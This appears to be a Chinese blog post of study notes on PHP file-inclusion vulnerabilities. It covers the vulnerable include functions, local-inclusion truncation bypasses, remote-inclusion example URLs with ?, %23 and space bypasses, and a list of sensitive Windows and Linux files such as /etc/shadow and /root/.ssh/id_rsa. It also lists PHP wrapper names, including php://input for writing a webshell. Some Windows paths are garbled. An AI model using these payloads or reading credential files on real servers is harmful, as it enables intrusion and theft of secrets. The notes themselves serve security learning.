文件上传小总结

文件包含

文件包含函数

include() #找不到被包含文件,报错,但会继续 运行脚本
include_once()#区别在 于,当重复调用同一文件时,程序只调用一次
require() #找不到被包含文件,报错,并且停止 运行脚本
require_once()#与require类似,区别在于, 当重复调用同一文件时,程序只调用一次

利用条件

  • 具有相关的文件包含函数。
  • 文件包含函数中存在动态变量,比如 include $file;
  • 攻击者能够控制该变量,比如$file = $_GET['file']

漏洞分类

本地文件包含

绕过

  • %00截断 条件:magic_quotes_gpc = Off php版本<5.3.4
  • 路径长度截断 条件:windows OS,点号需要长于256;linux OS 长于4096
  • 点号截断 条件:windows OS,点号需要长于256

远程文件包含

必备条件

allow_url_fopen = On
allow_url_include = On

示例

问号绕过 http://www.ctfs-wiki.com/FI/WFI.php? filename=http://192.168.91.133/FI/php.txt?
#号绕过 http://www.ctfs-wiki.com/FI/WFI.php? filename=http://192.168.91.133/FI/php.txt%23
空格绕过 http://www.ctfs-wiki.com/FI/WFI.php? filename=http://192.168.91.133/FI/php.txt% 20

常见敏感路径

window

C:oot.ini //查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件
C:Windows
epairsam //存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windowsphp.ini //php配置信息
C:Windowsmy.ini //Mysql配置信息
C:Windowswin.ini //Windows系统的一个基本系统配置文件

linux

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

PHP伪协议

php:// 输入输出流

php://filter(本地磁盘文件进行读取)

php://input

php://input (读取POST数据)

php://input(写入木马)

php://input(命令执行)

file://伪协议 (读取文件内容)

data://伪协议

phar://伪协议

zip://伪协议

伪协议后续边学边补充

原文地址:https://www.cnblogs.com/liyu8/p/14358837.html